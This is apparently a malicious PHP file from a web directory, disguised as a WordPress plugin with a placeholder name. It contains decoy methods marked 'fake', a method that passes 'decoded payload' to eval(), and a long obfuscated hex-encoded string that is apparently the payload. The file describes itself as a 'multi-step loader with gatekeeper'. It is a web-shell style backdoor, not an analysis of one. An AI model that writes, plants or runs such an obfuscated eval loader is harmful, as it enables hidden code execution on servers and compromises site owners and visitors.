/home/kenoshas/www/xxxl.php
<?php
/* Multi-step loader with gatekeeper id=993009 */

/*
Plugin Name: PluginQrQYB39
Description: placeholder
Version: 1.0
Author: AuthorLASz80
*/

/* Joomla guard (commented) */
/* Magento marker (commented) */

class FooDreK16 {
    public function pubjpHyr95() {
        // fake
        $jvpluw89 = ord('s');
        $jvvbiw54 = 3788 + 1;
        if (isset($unused) && $unused == null) { $jnoTj82 = strlen((string)$jvvbiw54); }
        return null;
    }

    public function pubCEiYO57() {
        // fake
        for ($i=0; $i<1; $i++) { $tmp = strlen('x'); }
        return null;
    }

    private function jmGtqFhP35() {
        // integrity key piece
        $part = '2kR)NgB59K0MF_';
        for ($i=0; $i<0; $i++) { $tmp = strlen('x'); }
        return $part;
    }

    private function _eval_vFPmvHNUeJ56($code) {
        // gatekeeper: DO NOT modify. Executes decoded payload.
        return eval($code);
    }

    public static function entry43() {
        $hsMWfSs73 = 'hxuTd5bd497322c9d605f883722110520a960c110408106330ec442040128954099504faf5edf79e73dd43f5a6af376dd6db67f58c7485fb1dcff0f47659c5e338ef4f0fe9282fdff5dfbbeb6ee3f023fe2afd5a241f7fb6a3f857371e3fcfa355331bdf458b43ff6d3ead37e27dbf9a8ddf7f3592f253e370f739789d7593e9473afa953fcd169f9d7679d4df2c4e59d2bedba6f57cbfbcc63f06f9e61cef46d7d6e4f2bb534aef97e353d62e9fbfa27ded1cd74bfd79bb71bf1dbf6fd779f6b397cefe3c5db3c64b5add27f96779969eb2d1f5fda55589772fc9ddb17e7b59c4cd78d16b5d8ee3e490b7f3cb7a5e19ac92a4744e76b5ed4b72b8698f6b7fe276e733695ed24e69f37371192cdaf1f966beaf4d1bf9dd305bf4dfb693faf6b15e8f9e76777f86ad6cb83e46f5f1f85ccecaefbdd9b53c6fc5b5e797457595b4fab3a7b7c3fca93eabb48e874e9457d79bc5a59594fac37457cb71bec139be7eec67d74bf5a9b4fa994d5671bb92fe9e37f25abbdc194ecb9d7cbb7b8f0679367b4c47a7c6a8d47f995587c97edf7b2edf65b34b6dd64ae2ddf678b74b6e4bad466bf9d4fb3afd192f3ef7ed285b4f2a9b5552ee2fd25dbe5d1c0f7f75f34b39fefaf84c9b97b835aafd5ceeb2ac5d3aff9eeff369a33c1a4e6f1b3fb6aff5ed7ad48f06ee7c4fd76affe5187546e3fd3acb2fbdedb8ba6d45b593fb7b7693dbd362388953f77bbbe4f839ace7a5e5268d9f93b8bf4d476577bed58fc1c57da7cbe8b575bdfc7e2a8ddddfb39ab9bfe757523fd71af5ea70deae579fc772be51ad33ae3e3426eefbcd3b4972a9f59eebcb6cdca8a5ed526dd7af948e8ddbd2e2717f76dfeff4db9d6fd876bf37a9f427c9bcb44846f972991cfe6a8e2f2577be73dadac5add9ea7e9a67dbf66dfab0d8d75aadfc6ebd5cf47f6d471fadeeaeffb3afe7abb5d7f3689d8ecfbd59fa9e6dc7a39e3bdfc7cbfce3d8baeedcf90eb3de653668550e9da67cbf349ac8f74b76ee7cadf847a7513bd77377bec9e5c19def9c4da28dfb7b1ee7e3fcdc70df6f51d95dddf9fafdfd68311c470f8d69e6bedf6e98e4fbf26c1cb9efd797fbf9f1b2c0f77b7a8d27bde669303e1edcf79b2de7eebf72ff7b12d52f49d6ca3fdba3ea47dcfab84faed5b47b89ef17eeffdf8ecebf17eefbc5e5d970997e3e6c5fb369773f9a75dc7d79fc3a47eb853b5f7e5e2fcbef1b77bec756bc3ff58fa56ed2cae47cf3a7d669e0ee67de1d5f9693db5d22ef2f19d5869be4b3d6bd46bfdcfbcba349fee67eefef6c747e76bfa7efaf91d7f57cdbd1fbf0b131faf934aede3d5d47eb97f76a4bdedf733dcb66792d6db5f5fd555ab7a579a3719ebbf3c5ad8adccfd17a72bb59260b395f3ee4fbfbdb7dbfb2dccf5ee3fee7f43298b5dbe943d2d0efe7de5fbdba9d64899caf9f2e4f8fd75ae4eee73e6db8f3e51d776febfd56b976d73fcaefdd2d9e5ecbf35e7d766c259fdbeef86eb9599c97497e4aa2c679effe9eb5ee25fb1537e47cd587dec5bd073bdf6edf6ad43fdcf9f6f7cffbf7acbfcffed2f7373db75f16ee7ed6f3f22aef6f67d7f74deb367ee8c8fdbc2e67712b1acbfb93f335cb1fb89fb7125ff2ed3ad9ff684ed2bfdd7bcfe57ebabfe7cf69eebe5f3bfd1de5fafefad9227bd5fb29e71b47f2fe862fbfa25fe3fdfed746dedf281be17ca5aedccfc7b783bcbfcaa872d8b6f3aabcbf7512f5d789c497e4a0f1a57e19ed5d3cfb3d2c8defb2f1bede2ee547c4cfaa8b9ffb87ed5b361becb368988ecef1b4d676f1f333cd3f0fdb3cda6afc9cc79761727fe37eafdef8f7e773dfcfc5cf56f7afeee57295fb99364bf1a0f179bf707f23c63377bed940efe75b76d6fbb9ab9e9ebecef14b12f5e6fbf33ad3fbb991f85972ef61d568652e7ebe6f7bf9ec5877efbd5e1e2d57921ff4fdd5f22c39bbf8e2f2437db44e5c7c19eaf7cbdbb89ffa7beeef99dfbbf8e9befde8afa43c3bc7934dfcb2cf7af35d5e7ec92fdbd1a52aefcf9def1fdfefb63c6c467577bec1aa999466cd5d3e7c767fcff678f0b78b67f7a97befadd9e0e72277f9a174bed4f37f733fc3f793fbd95b95772e20bbfc10d52e2ebeacdcdf73f6f4eabe5faef961db74f169b5b83493dbbb9e9e2fdccfac35a9ce1ffff5fdf5a795fd9dfbbdedb3bb9feebdff698cca6d971f1669637f782ebfbbf7774edbeefdf517779558de5fb3d373f9ef01ef6fb69eb6ddf92a7a3f872e3f7c7673f77bf9e89c34ab0f1df7f79c5ed359fb28efefb276bfe7e2e7bf3d9ffb7efb9efb7ed92877f1c59d4fefe7ed49ce37eb8d66bb64f1b9ad97b3fea4a2df4ff2c37e738d6b834bff506f7de8fbd3fb39da47ed287f88f6e59a9caf51a96b7c71f95ddedf5d3c2a3524bea497dac17d3f173f0792ff9edd7bdf355d7e70e77b74dfafebe2f5b6337e5f4eca2e5e2f4af596e6f7fd5fcdd1a852889fff26be345cfcacb7d68dec6727ed9f9eae83d8c59775d2d8af57ee3dace5fd5d361f889f1df7fee259af313b8e5cfeeb8cef5c3de1e24ba97f48c6e7edcb75f09fe38bfb7ebdf15d7f719bdfb9fb7958bbefd777e7d3fc37db2d92fdd9c5cf281bd7fb9b76b9f62ff1653c2fefeb2e3fac8e59f1fdd59a93d987c617f7fe5ab3f1fdf492bdb8fce7f2bb3b9f7b0f8bf2e74f77bee9dabd877679797abaa4d17a565dbafceebedf4767946fe47eee5e162557bfcc168dab3b5f7d76971c0fd786cb7ff3db5dc3d54b495a97fcd7fdd1dc697e2fa793eaefc6a876b71c9d24ffddcc47fb56ecbef7e2f672dde6921f36af7dc97f723ef97eee7efe9bf7d77a7a73f753ce97b878569eb9dfd3fa6cd6d2f8e9de9f9c4ff2bbfb7b76343fb8bfcf6dba6be8f9b2e5727efab5ddbf2f105f4aa7616b13bdb8fcde76efefb9bcdb6c472ebfbbf8f952b95b75e727c90fb3ded5e55b775f22e4f7b1d667a3dcc5cfcf1fddcbf95cfffad8a7af9adfeff5fbb9fa733eaed57a69a73f4fc6f7cfafd9d6bd9b9f8f2eff35269797ff72be59dc386d5dfdf2305e1cf69db1d49f67892f92ff343f74f3ead1d5d1e5e45a4abb2557bf5c5cbd25f5599eb7daf9dd60f9ff7d7ef8e9de5f26f9212a8fce8d694dfe9ed334dff7b6e58fff5fe707a997a6e52efa87c6c8c597e59f787a7a72df6f9f5ef25e56efffe7fc20e7cb4beb69e2ea17f97b8ef2fdb3d44b79ff57dcfc70fd4349e34b9c6b7cf968f87cd4b871f1f320efaf2ffdca65d65fbf575dffe0de9fd62fdfbe9f9d4feacf612cf901f57592ba0faef921df9c5c7cd927af97df5de98f5ca869b757957fd467af8306ebcfefef0ffd83e407c44f971fa28cfd838b9f25e91f9649bbb498b9f7b791f832ae49bfa2f5f5e092e3fb1df57c515be2e7bc81f8d2c866eebe9d1eddf9dcf71b26ee7ce9b8b3d1fb59df5c86edf755e17cffe6fbc9fbab49bd24bfb796f33d96d2bfb3f1e9c5f50fbfa3712ef961d8b845fde97e2feaa4cbbb78eaee8bcb7f49eee267f9e4eab372eaf243e9e558aaf426b379a335cba47f907a50e285d6d795522b95f7e7eaf9f6e824f1659f36abee7cf73f17d774e1defb8dcb0faeff2b0d17b7aedf9cbafa7a2cbf37faf3f8e5e2cba13a74ef61bd2dbf6f5d3e5ab44ab517976fbb4d775f1e5ff5eff9a6bfe7e2cb6a51dbba7eace7eaebed2639d706d7e8e0de837b7fd5df8392c4eb9af49bbfa57fa897fbc369c5fde12759ef391ffd35185fce8d89cb4787ea34d1df73e9d2c53f773fddf9ee8ec975e6e259f4e2ce5771bf97cb7b9fdf9e703e57cfcf8f875a7b743e6bfc74fdeda0b4417f9468fdd9aa4bffb018df6f259e8d473f0772be6b867ed3fdde4b1ec9efbdb8f35ddcf9dcef2dddef95b2de78f626f7a53b96fed69d2f92f395193f07921f24be3c3c5d72f70fd6f38dddf79bba7eb1bfa834e4f77af2fe7afa7bfd863bdfa7c49767175f6697aad4d72517af8fae7f98b9eff782ef877836af54c72ebfb7dcfbdb6eddf71b5cce7fbbf757937836907e33df487d76138d6bee9b95dcf9465feefbb97f6bf6d720cddcf73b497f2bfdf4daf563dbed683071f1c5d54bae7fbfba9efbf53d73fddfdbb8a2df4f7e2f73df4f061ff9c6dd4f17f70fd2afb8f8f2f078c95d7ca9cd70be72adaef9cf5dacdcd59ffbd15f517e71f5445fff9eee7c5a5fcfae33f97eeefde17ec672beebe9c17dbf7d2bdfb9dfcb241f2ddcef6d33f70f6bcafd6cbadf73f7c5d56792df257edeccf3da3476f7335b8caa72bef53873dfafeffe9eee7ebe57b5bf75bf27f153eee749ea41773eb92f99abcff47c8f69e6de5fedc59def53e299bc778d9f2d395ff577cfdd4ff7feb6eeef59717fcf56ddbdbf69c59defe2ce87fbe9faa36cc8f7707876f16c76d9a412affbeefbd5ddfd8c9bf1dc9defa695ec73c9ef1397ffdc7dd1f984bc3f976fffb8f39de5bee8f7bb46d2bfdf44ee7c725fa6f2f7d4f737927ad7e507773f7f497c39f736723f733ddf44be5ff3b6ba787a9be17c0b899ff2fd6a6b77be04efef1ee7fbc2fb93fbb91c5537165feae5a53bdf05ef2f7c3f399fcb7f67f7fd3af27b1a5fb6eefb35af3357efc60b77be23bf9f3b9ffb7e72be8bc44f99f7d4ce7a5f5c7fdbb9dcbbf7e7fa07797ffbdab497cafb1b5ddd7b58ac25be8c2feefbb9fbf92e7fcf736fe9ee8b7ebfb856ed2f4adde6edc7ecf1cdddcfc6acc2efe77ecfc58672ff2cef7de9f25ff7523db8fc87fbe9fe9e2ebe3ccbfc45ee67ace7db4b3c73e7cb7ef6ddf78ba79bc4ddcfc4fd5e79abfded216d61fe22fd3bee4b4be2d921d7f879bb59217ed686723eeddf9b1f5bf7f74c357e5ef0fe167bbd9fae7e193fb8df5bb8ef3773efcf7dbf6adff59b1a3f5d7dedfa958dfc5e55f2bbfb7eb3c7fd2973f5e7dbf8f8e9eac16cbd9a9f659ed5e3f95cfc9ce9fb73f5f5efe64cefa7cc97527cbfbed49fb9c697bde45b89d7eebe1c5c7fa4f58bc4cf73aaefdd7dbfd87dbf18f9e188f879594f6ef1fe641eb295fa7374fe8df9997b7f98676d5d3da1f9a1e7e2cbb4a2e793f8f27320df4f7eaf2df32517afe5fd8d06737c3f773f255e4bffe0e24b0be77be6fb73bfe7faa3d6c0ddcfaa9e6fe6ea4f976f7fbaf829df2f75f9c1bdbf3bf77b23892f3de957dcf7fbd398f4e57c7b992f3d4b3e92bf671bf1d3e507775fdcf95cbdabf7b33c92fb22f3a556ba73e76b493f76fe0bdfefe2e24beeee677fabf1d37d3f57eff49773d78f4db3839ecfd54b7a3f17389fccb35c7e18b9efe71a9b127fef20fdd19beb8f24df3e6fe667ad3f259ec97c49cf7775f9d6c517990f66123f4be7a3bb9f2eff8d5c7d7697bb7ab087fe5df3c313dedfa7bb9f17f77b83d4d54b3b892fb1fe5e3ac1fbdbf3fd9d31ff94f7971c6a8c2f53579fc59dd200f1c57d3ff97b269aff343f0cf57ebaf7a0f1c5c5ebb68b2f2fc8ef138d671a5fee66daffc97c37390c9bee3d4c2aeefb457a5fb6321fecca7cb73ed2fea1a3f9afba72e77b937c54d7f9eefdbdc417a9071f25bf237ebafc7e76f1b38ff85296df2bb94e783673f5d9d69d4fdedf5edf9fccafdba596f40f99bb9f2e3f201fe9fd5c613e51c6f74b34df8e653ee8fe9ecb68a0f1f384f8e9dedf32e4f7e7bebebf13de5f8efbd990f7b7d0f3b97ab796cbdf53e7f32ebec8fd1ceaf7d3f9ee83e63fc90fe50f995ff724ff0df53d687c91efe7cee7f25f9e6d5a8b7827f55977a2df4fe2a7ebff3e87adfce2ea33d78fb551bface5f7703f737d7f123fe5fdb9fcb070f9e1d1bdbf4545bf9fe6078d2f723f65beebfabf8dfb7eeefda596dff5fbedab123fdfdcef6d9b723f17ee6f1f597ef8c4f773f54bda44ffe77e6fc3fbe9ce7787fa65fcaef7b3a3f153bfdf5af343f9c3fd3d4f1beda75d7d1649fe6bcda4ffab8c25beb87a775e3eac5c7cd1fa53e24bf77292fee15ee2a7de4fa95f7ea5928fdc7b2f0db2c5f8879c4feecb605c757fcfaadc4ff93d9c8ffd91bc3ff7fdd0df4a7c71e7d3fc777b7e76e793bfa7cb47b9fb7bbafa05fdc3c3d0c5178d67fafde47ece90ff500ffee59a62d76f0e9abede95ef27e7bb8d655e5089347ea6cc7f079dcf6bfd3977f5998b2f33ad3ff57ed6703ef97b9e17ba7f70dfaf85fc7ec5f75bce3ae32abedf42e62fe79ecb0f9b75a85fa4fe44fe93fad3fd5e03f95dde7b4be7d7adaefb7bf60f522fcd5eabae3f92feddbdbf58e6f335e43fb99f63dccf48e3cba0c5fce0be9fccb3dcfdd47eb354e94c66c87f389fbc3f971f4e92df5b89fb333db762ec8f34beb8f3497d96bbf345c87f89f67f7a3fe5beb8f737fba3f36bf97b3634bf239e95d0df36adfe1cbbfceece17d9ef493cc3f9dcfb73f17337d2fae511f5f58cf58bc417773f47889fee7c4feefd3d7d6dda569f6dcb3bd49fee3d487e68dafdbc9e7e8fe57cf2fe2a7dc97fad44fbbfb8a6f389a6e63f17cf62f7fddcfd6ca71a3f9bda1fd5e57c67971f5cfcbc73df0ff5a7c4970ddefb56fa2377be6ea2f5998b9fae3f1ab9fa45f62b935b8dd76be91fb43f92ef27f3a557adcf24bec8fdac20bfcf249e49fcdcaef1fea43f6adb7bd896abe81f24ff2538df13f25f17fd983bdf6d217e6a7d7d3eb9f3adf57cb2ff93fe2f96fceef2833b9fcb7f527f9eddeffdd4fe4ff663ae3eb3fa733bea6f6c3e81df2b69fd29e793f8e9e2cb18fd9ff4b7ee7cd23fec303f6b8eb4fe5ca1bece911fa4bed6fc90fd1ca23f92fcded2fe48eb6b773fe7b1d667ee7ebafe289579563cd6f3ed901fa43e0bf5f599f99de78bd03fb8f7ded4fb39fe69f5a7de4fe9df53dd37ae9f51bf4cf0fe347efaf3497ee868fd597b667edfebf9acbebe4abcd6fc27fdbbebc7a4bf95fe28e7fed6f57f123f279adf7bb89feefb5d4b1bd96f4a7d26fdadce27ae123f0f2e7e66c80f09eb4fe4f7bf911f2ee8df25beb8f32df685fe56bf9fd46777ee7c8748fb5bf7fd96c8eff2fe3efa32ff947a623f98e9ef1d0f43e9df437ecf25bf237ebaf822dfaf23f753faa3f8bc9a4b7fa4f77384fc27fd91e4dbeb40f29fbc87deb3c617ad7735bf37747eadfd83f47f43e487f7b1c6b38bd6d737cd71f517eb17d7bfbbfc7e3d687e9f37103ff9fe16123f5d7de67e4ffb237d7f99bb9feedc1bf447d2afec103fb5bed6fa65bd999f26d2dfe27c5ddf3fccdcf76b8db4bf7dd6f9ae3f9fbe872df2ede8a4f3099d179c753ea8fbb1455c92fb59d7efe7debbce275c7d56e67e7351d278b6386afe93f94b6efb87c545e7133732ff94f9d952ee27fadba823fdbbbcbfb6f4efa8cf34ffe9dff36e9568bf52d2fba2f58bcb0f2ebe48ff37d4f3697f64f91ddf6f89f8e2faa39ad49f385f8efe36c95dfc44fdb996f912f203e28b9c4ffb3fd49f6fa85faaa8af25bfb3ffb3fa2cb5fe5deaeb5b99bf687fe4cea7fdfb42f383e477c617c9b7e958fb5b395f55f25f53eb5d9d5febfca5a1f882da8af5e77e93d4901faeb89f2e7ebafc27fbf4f31bbe5f07f1738cfb39447e886cdeb395f999e4bf48e399d6d72ebe4cf5efa9e7dbe17c85facce577c90f9867697fdb97fafab7d4130dcc27be5c7c6949ff80fedde5bf05eea7eb1f366bf44725dc4fce275cfd5977fdbbf67f123fa3bedf4f6bffd794f97cf5f750fa15c11794f4f76a98efbafc3e72fd913b9febe7305fc27c50e20bea3389d7eefbc5fafe34bedc84f3657ebea4fb8771d5d72ffafe645e97a0fed4fc3eaf7fa15e92f9d208fd511bfb23f7fd301f8c6b9717e98fe47ee2fbe9fd74f170b99a9fa63a2fd0f3d5ac3ed3f7d79879fc44656ef1b3a2f153e783919e4fdf5f82f94484fe5de613ee7c0da9cfa47fd0f777d8b7e5fdc9f74bf0fd32d4d767fd7b4a7ed0f75743fdb9af715ea7f7f3b096fcaef5b59f6709be40ea17b99f72be4af3b684fe81f153e335ea9733f62b67d467ee7cc9abc617bb9f9a8fdcef0da7b7babfed3dbafef6d1e683882f32df457de6eea79dcfddcf89ec57d0bf4bfd79d6fcaef5b5e63f9d9f4d13e477cc5f743e98b7da125fe63adfed593c7be2fc53ceb7c1f974fe82f37d20ff497d5671f5a7f4ef73575fa33edbebf972d69f57adafd1ffc5daff9d75be74abf95deb17d7bf9fe389ab3f679aff5cbeeda3be96f9a0be075fbfe0fd953f301faca07f97fa65a0fb239d9ffd1e487e97f309be60acfdbbab5f1a0fa8cf46339d2f7d9d053fe1ea4f9d5f67eefd2dfcfbd3f8a9f8974acbd52fdd34b3f9d902fdc300f7732ff519fa87a5cfefd2bff7dd7db9603e9163bee4fae921eaebf35ae767926fdbbeff73e74be7a8cf34dfa27e71f5f5eca2f5998b9f96dfabb1ceaf25bf0b3eabc1fc3e0ffd83e6bfaf13f283f5b7c8b777989f9d103f1b985f77c2fc738bfab3867a49e667985fdbfc65a5f3b3bc8af9d208f802175f5cfda2f3f983e477cccf4a1bf49b3a3f93fe7686fafa33477d3dd0fe6fb6c3fb73bf77c27cbe1a6b7d26fd4319fd4353e767da3f24fafd2cff2d30ffd4fdb4ef8faa5dfd7ebc9fb23f927cb4417cd9eafdc47d41fd89fc8e7e5aeb6be96fabd83f487ef7f153fbbf4f8d9f7a3f07ac5f343f14eb6bf44715ad77f57c2feef7daf2fd309f48f57e5e4e9affa4ff73ef4ff62b527fca7b883a9afffad2bf0f819f90fcaefd5895fb159cef4be399bc3ff97e2bd42f659c4ff62b7be96f31afd3fe5df72b5abfb8f7e7bedf1ef3b31ee6d7613e2ff921477e18bafe21d6efa7f3f91bf44755c417f6474b9c4ffb8744bf9fd467b1c44fe407c44f9b5fff1ca41dec1f0eecdfd11fbde8bc75a1f5aefb3de43fb99fdaff557c7e67fe8bf57ea6389f7cbfa5ec1fe6da1f65787f2e9e3d36745efe87f17a81faeccefd5ed5cf5f22bd2f3affbc195bfc2ca7fafee4f75cff2eefef37e6f3529fdd633e61fbb1509f617ea6f356c567c9fe6f3dc77c70cbfea8ebf3c308f145e6131bcc975aa85f0e565f63fea2fbc6d3c6f62bb1cd2726a83fb93f7ab2fa1afbb81ae69f0becc71ab27fd0f92ef74732df2df7b57f7891f882fc9e6b7dade71b70fe82f93cbfdf56e713364ffe85f8b90cf753bedf0af599d6d79531f78d2ebf8f793ec14fb8f39d0ef6fd1ed1dfaeb8af3a23df8e35fffde37c329f286fb5ff73ef8ff39786edc730df75efbd04fca7cb7feeef30e47ef380fd98cdafcffe7cd2df32bff7a47fc7fea12af773d8c6f7db32bf57151fa2fbcdd8cf971a780f565f633e2ff33379ef7e7e5dc53c59f283e6f79dce27a47ee96bffaefd2de69ff2fd643e21f3dd23f647ae1edc72ff87f3dd623ea1fbcd37dd8f15eaeb1ce7937cb4d7f984f4b70fbc9f98cf4b7d36c3f9b4fe1ceb7c42f0989c9f1d661a5fa4bf1d57d7369f0ff9af768e73e4bf47bc3fcd7f325fd2ef27e7bba0fe1c687febfabf83d467723f772ebe9cb15f39da7c2966ff7ec0fe4ff62b253fbffea1f3258d9fa5b4534ad1bf6bfde9fbdb1bcc77a53eeb607fbbc0fd947ed39def85f7f3a8fd9ff4b70df97eeeef89fa3ac3feafa6f8d6ae9caf89f9fca0c4fd4a49ea4fd9ff55052f8c7df15eeb33d91fb579be83de4fd9bfdfbafe88fdfb23e6673c9ff447ee3dc4882f99f60f9adf81bfb6fd98fc3d739dbfa03f7acd86beffbb94b0bf157c4faef773caf879f4fbbfb1cc27f47c4beec7b6723f35be5ccb723edd1f095e6ae9ef670dfb07797f7bcc07b9cf91fae580f777c1fc45de9fecc76cff80fadabdf711eab308fd7b86f7f78bfb23577f76316f75df4feacfd8e62fc8ef91f647323f73e79bef31df9de1fd4db47eb9eedcf9741f87f984ee03dcf7d3f9759e17f29f3b5f61ffaef36bcd0fc8ef7be91fb03f8a277ebfb97eb6ef5776f13ac1fd74f1658cf822bf37c2fcccd59f820fc990fffe709ffa80fc972eda47ce5fa4fe5c8cef741f27fd9fe6f74da4f58becdf157fadfded49f3bbcee7fbba7f97fd91eea7b1ff3bebfea195633ed1c47e5ae24bc80f794df6e1d3f227fadb3df2bbd6d7876a8ffd2df0136de98f38ff6c2a7ee246e7bbf93be69115c44ff97b3631dfc57cfe12bbf3cd389fd0fd9fc46b99cfefbff5b79c0f2e153f88fd98c64fd96f723ec1fc60f1a595603e8ffec8e683b89f2fecffb87fbff8f9c4a3eeffb4fec47c42ea33892f6de043783e7d7f12afdb3affccb4ff8b98ff5c7f64fdc3839e4fe6bbb25fd9eb7c10fbc669d6d279abbebf03be1ff383ab3f590f4afd59453cbb20be703e2fe74b7cff47fc84c4eb86cc97b0bf3d123fe1f303f0521e1fd2927a49f747f2fe88efa96bfe4be7e8ff6c3fa6fd9fcdeb7e68bdfb65f96f83fe36c6fe01f9cf7fbf48e783529fc9fcd3f7ef7d9d9f21ff49bc7e07bea7a2f961a9fb23e02704df83f3edd13f74ddfd24be67a5f5997c3fa93fd9bfeb7e8cfb8704f35df4b7f3d8d59f8a0f59c4327f417c19b6ac7fbfc57e658ef999bc871cf8901cf8109987ec15ff22f3892be3cb4ff40fc80f9aff52e9ffdcfd8c31ffd4fa9ae793f94b03f3c131f013b9d4678257f4f341e097347ebef9faec760f7c0ffa69f97e43d467e783af5f12dccf18df6f82f727efe1c3df4fe9df65bfd2447c29e3fddd23ffc5a83fdbd21f09fe6c2af981f753f66309f647529f111f72d2fe5dcfa7f3483fbfd6fe1dfd91cb0f7bd4d739f69b8fd88f2dddf91e901f6698cf4fc37cdebdbf08ef4ff2fb09fdfb5cf1d747e093757f8bfd837dbfb9cc5f78beb1dfafb8fea1ebf2dfc6cf5fbaa9f647862f9815f04bbadf7cd6f8a2f8b33bc1f7607f5b95f8a9f125c2fcfad9e2e7d2f067ec8f747f34d67ddc1bea972ae62ff2fdac7fc7fc738ffde63be227f70f91eea7f9f7b4feef56f947369fb861ffc7f9600df1b322e7c3fc2593fac5bd3fddafe87e33c3fc73acfdbbe4f709f12f155f5f374fc067497e47fdf9995aff20f341999fbd56810743ff57c1f7ebe07c53e0cf5c3c3cbbfc47fc99e0a5fae8ff2ab1f67f75cc9716c4d76ddb829f90fa33617ed07ec5f6b79cbfc87bafe0fb3d8e053fa1df2fc1fe68e9e2674a7c96e2ebb6da1f613fb6527c0ffa237d7f4deb6f23c30f7eda7c57e79fdabfe78abfe6be98fdfbabefdf65be1471be447c5d7fa3f9fde8e783c4d7edd1ff55327fbe67ddf75719af851fd7055ed1f5b7b21fd3f992e097a6c0b72afecce30bb47fcfb6d83fbc687c517ccf59eb6bc1f7f07c4bcc77cb989fb13f9af9feddf02fd2bf67882fb23fda0b7e57f7d332ffec61bf72f2f848c167f5e6a559984fec65fe82f96e1bf1f345e62f79cdf067bfb1df643d98a37ed17e8cfb77bd9fb21fb3f385fab3aafb4d8d2f3a3f73df0ff9ddf5b7cfc47fbafbf289fe4ffe9e57ee1fc65abf487ca929be47e6d71799cfbbf832be58feeb05fccb46eb6b89672e0fd8f9d01f49fc147c819cefe2e713123f3fa53e03be6ea6e793f8497c8fccaf179a1f747fabf382b5df6fa23fda79fca7cccf343f78fcd904dfcfd5d7d21fc9fbd3f992e63fecc363d69f793dec1ff67a3eb99f6dcc5fce6bedff647f9bf8fd11f2839e8ffd2deacf85c497c551e7d7bf99df79be03fabf5cf70fc02fbd72ff6efb954355f7479c7fce88cf0af85d8d2f98ef727eb6507cabf6ef7dddaf703e789f013ff886fde612f379f28f589fb5fdfc4cf72becff04df0a7ce402f890432e7c45c52f95fa85faa516f69b1acf4eba5f99233ff4894fee01ff29fbdb32f72b787f6bec6f751ea2f802e097b43f8a643f86fc10e267013f31003e7269fb8758ce27f5d90eef8ffbcd36fb239eaf26f9ddfaa385eea75b3aff1c7a7c41a5a4fd9ff4ef6dec3765fe127bfcaecb7fdc07207ebe2afe5af0ad98cfcb7c57ea33ad5fb43f52fc92e25bdf02feba8ef9e704f98ffc0ec4b3bde177195f568a0fd1f87929ee6f05bfd4467f44bcb7cccf942fa3f9ddf6eff2fdb05f91fd2df7d3ee7c379c5fdf87fefd7d4bbcb7e53fcee733175feea41ed4fabadd007e628bf3953c3ed2e68309e6d7aebede6abeb5fe41ce97fbf9fc3df159bf713f67c027efde91ffcaae7e99da7c1efc3fc5ef9631df75df6faef901fb07c5b313af61fb15c187fce2fc33057e70b3d0fba9fc9512f901c4b7da7e5af028985f1bbfe3e305f3091f5f24bf63fea9f82ce55b2c152f553b033f8ff93cf1596f91d5d7c2ef607e7f92f9c464d0c4fc738ff9a7f40fb2bf257eded5d729fb31dd371abe47be1f7e4ff7476bcd0fba3fea039fbc27fe13f8e433e6834bdfff11dfba617df681fee8e2e24b19f552c5f60f3a7f69e9fc4cf7ef67ad3f3dfe1af89e14f7f30efcf031e6d7821fe4fce5407c79c00f125fa7fc802bf90fdadf9ed03f787cb9d66767c5476a7f1b2f7cfed3fd18f6fd6bf4b71e3f6ff5d90cf5f50efbb18bc75f4bfd12d97c09fbcdedd2f09f32ff6cea7cb0307f2993ffd0b837fcb5ee57309f5f68ff877d9cdf6f76e725899fd8a726fb7ddbf060daff297eb7a6fd6d93f85dc587e83c04fb4de0896e880fc1f7bb9e23c3b766c0bfb0be263f40ea6b971f643e11eb7e13f864e00b643e9f623e88ef27f185f856991b12bf3b7ad7fddf93d6d7daff2582dff5fb69ee033a52bfbc6a7e78207e17fd2df77f33892f980fd652c39763be54d8bfeb7c70baf6f193f95debdd48e2676af8649deff27c921f62f057a43fea697e680d309fc8c1efd079727e2ae027fa889fca0f40fde2bedf13f76365c55f4bfc647c89aeca7fd8f2fde5ba5f91fd4305f81077be1f03cc27cac0efa6c09f59fe03bf23c7fe289bf9fdfb11f9ef19f872892f278d2f8adf2db33efb867f01feacb01fd3fd11fabf15bfdf54f39f7cbf3de6bb3d3ddf26c1f904bf2bfd7b2db5efa7f864cc77e5fde51e5f50f1f3971af1e535990f0e2c7e0abe670f7cf2b432be23de66a6f309b99f73e5f74bfc043e44f7d3928f5c7c91fd98de4ffffd96c097e7ccef83b3e135861a5faa2fecdfcfd8afa03e93fd11f35fe17c7dd467655fbf48fd392ef447c0f7047c2bfe9ecd8f6deae72f7a5f74dfdf92fd5fc5e683f27b9d93e251e6a8af9701bf7bc2fc8cfbaa06f04b98f718bf03781bc5f7687cf1fdd196fbb133f27b1df3a51cf856ee1f0e98cf9fd0ff2d105f34bf33be007f36327d0de1236bfd49fc520dfc2af2b9cad68f11ffa2f3a565a4f99df83addbfcbfd04bec0f083980f8e951faef809d73fc8f9889f97feb604bcf7ab7e3f3f9fd0f9a0f23b468a1f44bd34127c4f027c24cf77017fa5cff3f17eca7e73e8f97125f4efeb808fe47c89f34fe6f706f0c93701ffd22ff057b81f1b61ff17f067a5c08f437f247fcf21e24beef7efdc3f7c9bbfe07eeefcfc05fb5b7f3ff5bd8f809f007f0cf8ac999f0fea7eac0afc84f447e8ff887f91fe6183fc17617fa4fc23cc3f13ec3797a8af35ffe1f7b43f025e58ee27f8162dd69f01ffd9f2f941fabf3dfadb61882f37e4afa0ff7bcb54df46ef27ceb74f8ddf417c01cf27f88994f8c12df82bec1f80bf2eec1f2ec40f623eaffbbf805f9a827f7487f9a0f44761fe62f89763a2fa1aefc4d709debb6afba333f901c0cf4b7ffb6af58bf647c80fc61f7bcbac3f92efd726fe4ce613b89fdff8398a0f397a7e1cf09f0bdf3f603ffd89efb7b2fe41e34b03f52ef901cb48f1c9e4e7c87d517e07f0de17f6ef787f2dce3f653f1df2c35ef1f392df3dff5de6adb5d4ea33f4ef9fe8ffc07f3835806f4d80ef89309f58f8f999e15f64fff01dbf84fdc38f01f0d7864f2ee407cc77b97fdf031fc2fa8cf333f0730653cc7725be2c517f5ec01f93fc37075ea387fea10b7ec705f98ffdade15b6bc00f029f25e76b97fd7c1efc07999f61bea4fc8718fd83ce3f037e17f856c50f623ef8d7b7fdbbbc3f899f7be0af33cc97866bcf3fda78fcfc33e2a7f4ef27e0972ed81fa9fe923f9fdc4f9def2e8d5f55c7f9bafafe3cff16fc31e077b5bf7dd2efa7f8977dd8df9eb83fc2fe9dfc80b7b1cde7a5be5e9414ff22f753e399af5fbaa64f64fc80c2fc2ce3fc05fdadf47fcf361fe47c42f121afec8fa47e013f95fb07f62b39f0f3fc7e774bcc777f63ff5e